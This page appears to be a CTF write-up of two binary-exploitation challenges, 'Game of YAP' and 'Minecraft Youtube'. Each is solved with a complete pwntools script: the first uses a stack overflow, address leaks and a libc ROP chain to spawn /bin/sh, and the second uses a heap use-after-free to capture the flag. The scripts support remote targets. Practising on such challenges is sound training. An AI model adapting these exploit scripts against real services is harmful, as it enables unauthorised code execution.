PWN
Game of YAP
Exploit
# docker container run -it ubuntu:24.04@sha256:3afff29dffbc200d202546dc6c4f614edc3b109691e7ab4aa23d02b42ba86790 /bin/bash
# docker cp ubuntu:/lib/x86_64-linux-gnu/libc.so.6 ./libc-24.04.so
# docker cp ubuntu:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ld-24.04.so
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'env LD_PRELOAD=./libc-24.04.so ./ld-24.04.so ./game-of-yap'
from pwn import *
import argparse
# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--libc', action='store_true', help='Use libc and linker for local testing')
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()
executable = './game-of-yap'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'
libc = None
ld = './ld-24.04.so'
env = {
'LD_PRELOAD': None
}
io = None
isDebug = args.debug
def pwndbg():
global io
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, '''
set pagination off
b malloc
b free
''')
def debug(msg = 'Press Enter to continue ...', disabled = False):
if isDebug and not disabled:
input(f'[Debug] {msg}')
def chance(data):
io.sendafter(b"...\n", data)
def exploit():
global libc
libc = ELF(libc)
debug('Calculating ELF base')
junk = b'A' * 0x108 # offset to return address
# Leak Play function address
payload = flat([
junk,
p8(0x80) # 1280 yap function
])
chance(payload)
elf.address = int(io.recvline().decode().rstrip(), 16) - elf.symbols['play']
log.success(f'ELF base: {hex(elf.address)}')
# Return to main
payload = flat([
junk,
elf.symbols['main']
])
chance(payload)
debug('Calculating LIBC base')
payload = flat([
junk,
elf.address + 0x1247, # call putschar, after call the rsi = libc.so.6:_IO_2_1_stdout_+83
0x0, # for (pop rbp) in nothing
elf.address + 0x128A, # printf('%p', rsi) to leak libc.so.6:_IO_2_1_stdout_+83
0x0, # for (pop rbp) in yap
elf.symbols['main'],
])
chance(payload)
io.recvline() # for putchar
libc.address = int(io.recvline().rstrip(), 16) - libc.symbols['_IO_2_1_stdout_'] - 0x83
log.success(f'LIBC base: {hex(libc.address)}')
debug('Execute execve')
rop = ROP(libc)
payload = flat([
junk,
rop.find_gadget(['pop rdi', 'ret'])[0],
next(libc.search(b"/bin/sh\x00")), # rdi = "/bin/sh"
rop.find_gadget(['pop rsi', 'ret'])[0],
0, # rsi = 0
libc.address + 0xb502c, # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0, # rdx = 0
0, # rbx = 0 (doesn't matter)
0, # r12 = 0 (doesn't matter)
0, # r13 = 0 (doesn't matter)
0, # rbp = 0 (doesn't matter)
libc.symbols['execve']
])
chance(payload)
debug('Finished')
io.interactive()
def local():
global io, libc, env
log.info('Starting local exploit')
if args.libc:
libc = './libc-24.04.so'
env['LD_PRELOAD'] = libc
io = process([ld, executable], env=env)
else:
libc = './libc.kali.so'
io = process(executable)
exploit()
def srv(ip, port):
global io, libc
log.info(f'Starting remote exploit {ip}:{port}')
libc = './libc-24.04.so'
io = remote(ip, port)
exploit()
if __name__ == '__main__':
if args.remote:
srv(args.host, args.port)
else:
local()
Challenge files
Minecraft Youtube
Exploit
# echo -n 'THC{HelloWorld}' > flag.txt
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'./minecraft'
from pwn import *
import argparse
# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()
executable = './minecraft'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'
io = None
isDebug = args.debug
def pwndbg():
global io
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, '''
set pagination off
b malloc
b free
''')
def debug(msg = 'Press Enter to continue ...', disabled = False):
if isDebug and not disabled:
input(f'[Debug] {msg}')
def menu(option):
io.sendlineafter(b'6. Leave\n', option)
def username(name):
io.sendafter(b'Please go ahead an type your username now: \n', name)
def register(name):
menu(b'1')
username(name)
def collect(first, last):
while True:
menu(b'3')
resp = io.recvline()
if b'Please input your first and last name:\n' in resp:
io.send(first)
io.send(last)
break
def logout():
menu(b'5')
io.recvuntil(b'. \n')
def keycard():
menu(b'4')
resp = io.recvline()
if b'take this key card' in resp:
log.success('Successfully got keycard!')
return True
else:
log.failure('Failed to get keycard - exploit didn\'t work!')
return False
def flag():
menu(b'7')
def exploit():
username(b'AAAAAAAA')
collect(b'BBBBBBBB', b'CCCCCCCC')
menu(b'3') # trigger free chunk
register(b'DDDDDDDD') # user and nametag global vars points to the same chunk
collect(b'E' * 8, b'F' * 8) # free chunk and overwrite uid
if keycard():
flag()
io.recvline() # drop loki msg
log.success(f'Flag: {io.recvline().decode().rstrip()}')
return True
return False
def local():
global io
log.info('Starting local exploit')
exploited = False
while not exploited:
try:
io = process(executable, timeout=3)
exploited = exploit()
except Exception as e:
log.warning(f'Attempt failed: {e}')
finally:
try: io.close()
except: pass
def srv(ip, port):
global io, libc
log.info(f'Starting remote exploit {ip}:{port}')
exploited = False
while not exploited:
try:
io = remote(ip, port, timeout=3)
exploited = exploit()
except Exception as e:
log.warning(f'Attempt failed: incorrect seed')
finally:
try: io.close()
except: pass
if __name__ == '__main__':
if args.remote:
srv(args.host, args.port)
else:
local()
Challenge files
Last updated
Was this helpful?